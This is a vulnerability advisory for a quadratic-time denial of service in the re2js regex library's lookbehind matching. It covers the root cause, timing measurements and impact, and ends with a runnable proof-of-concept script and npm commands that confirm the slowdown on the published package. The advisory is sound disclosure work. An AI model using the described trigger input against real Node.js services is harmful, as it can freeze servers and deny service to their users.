CVE-2026-116795: RE2JS: Quadratic-time denial of service in re2js lookbehind matching
Summary Using the opt-in LOOKBEHINDS flag together with any repeated-matching API (matcher().find() in a loop, matchAll(), split(), matcher().replaceAll()) causes quadratic-time (Θ(n²)) matching, contradicting the library's own "linear time matching" guarantee. A single call with a 16,000-character input takes 36.7–38.7 seconds of CPU.
Published Oct 28, 2026
Affected packages
re2js
- Ecosystem
- npm
- Affected
- >= 2.2.0, < 2.8.7
- Fixed in
- 2.8.7
- Check
npm ls re2js
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Using the opt-in LOOKBEHINDS flag together with any repeated-matching API (matcher().find() in a loop, matchAll(), split(), matcher().replaceAll()) causes quadratic-time (Θ(n²)) matching, contradicting the library's own "linear time matching" guarantee. A single call with a 16,000-character input takes 36.7–38.7 seconds of CPU.
Description
Root cause
In build/index.cjs, Machine.match:
let currentPos = this.prog.numLb > 0 ? 0 : pos; // ~line 1907
...
if (this.ncap === 0 && this.matched) break; // ~line 1953Any pattern containing a lookbehind sets prog.numLb > 0, which forces the scan to always restart at offset 0, regardless of the requested start position — the lookbehind automaton is re-seeded and the whole input is re-walked on every single find() call. The early-exit optimization that would otherwise stop at the first match only fires when ncap === 0, but every Matcher-based API (find/matchAll/split/replaceAll) always requests ncap = 2 (one capture group slot) even for a captureless lookbehind pattern — so the early exit never triggers through those APIs, and the scan continues to the end of the input on every find.
A find-loop over *k* matches in an *n*-character string therefore costs *k* × Θ(*n*); for dense matches *k* ∝ *n*, giving Θ(n²) total.
Isolating control
Identical find-loop, identical input sizes, same 2-character literal pattern *shape* — but without the LOOKBEHINDS flag:
| n | with `LOOKBEHINDS` (lookbehind pattern) | without (plain literal) | native JS `RegExp` lookbehind | | 2,000 | 204–228 ms | 3 ms | 0 ms | | 4,000 | 877–899 ms | 4 ms | 0 ms | | 8,000 | 5,746–6,599 ms | 7 ms | 1 ms | | 16,000 | 36,667–38,732 ms | 6 ms | 1 ms |
This isolates the lookbehind machinery itself — not pattern length, not match density in the abstract — as the exact and sole cause.
Impact
re2js's entire value proposition is being an RE2-style engine with linear-time, no-backtracking matching, specifically to resist algorithmic-complexity attacks that plague backtracking regex engines. This finding defeats that guarantee for any consumer using the advertisedLOOKBEHINDSfeature.- Realistic affected code paths: log/text processing that tokenizes or redacts using a lookbehind-based pattern (
matchAll,split,replaceAllare the natural APIs for exactly this), applied to attacker-influenced text (user input, uploaded logs, scraped content). - A single ~16–32 KB request pins a CPU core for tens of seconds to minutes; Node.js being single-threaded, this freezes the whole worker process for the duration. No authentication or special pattern knowledge is required from the attacker — ordinary alternating text (
"abababab...") triggers it.
Reproduction (copy-paste runnable)
create file poc.js
'use strict';
// PoC: quadratic-time DoS in re2js's lookbehind matching (opt-in LOOKBEHINDS flag).
// Usage:
// npm pack [email protected] --ignore-scripts && tar -xzf re2js-2.8.6.tgz
// node poc.js ./package
const path = require('path');
const pkgDir = process.argv[2] || './package';
const { RE2JS } = require(path.resolve(pkgDir, 'build/index.cjs'));
const re = RE2JS.compile('(?<=a)b', RE2JS.LOOKBEHINDS);
function timeFindLoop(n) {
const s = 'ab'.repeat(n / 2);
const t0 = Date.now();
const m = re.matcher(s);
let count = 0;
while (m.find()) count++;
return { ms: Date.now() - t0, count };
}
console.log('n, matches, ms');
const sizes = [2000, 4000, 8000, 16000];
const results = [];
for (const n of sizes) {
const r = timeFindLoop(n);
results.push(r.ms);
console.log(`${n}, ${r.count}, ${r.ms}`);
}
const ratio = results[results.length - 1] / results[results.length - 2];
console.log('');
console.log('time ratio for the last doubling of n:', ratio.toFixed(2), '(~2 => linear, ~4 => quadratic)');
console.log(ratio > 3 ? 'PASS quadratic scaling confirmed on the REAL published package' : 'FAIL scaling looks linear');
process.exit(ratio > 3 ? 0 : 1);and run in terminal
npm pack [email protected] --ignore-scripts
tar -xzf re2js-2.8.6.tgz
node poc.js ./packagepoc.js times a matcher(s).find() loop over (?<=a)b + RE2JS.LOOKBEHINDS on inputs of 2,000/4,000/8,000/16,000 chars and reports the doubling ratio. Expected: clearly superlinear (ratio ≫ 2, approaching or exceeding the 4× quadratic signature), reaching tens of seconds at 16,000 chars. Run twice; results are deterministic.
Credited to Nois3.
References
- https://github.com/le0pard/re2js/security/advisories/GHSA-gg6h-894w-4m9c
- https://nvd.nist.gov/vuln/detail/CVE-2026-116795
- https://github.com/le0pard/re2js/pull/59
- https://github.com/le0pard/re2js/commit/dfdd947785dfa113bdc97416375c246a39458395
- https://github.com/le0pard/re2js/releases/tag/2.8.7
- https://github.com/advisories/GHSA-gg6h-894w-4m9c
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
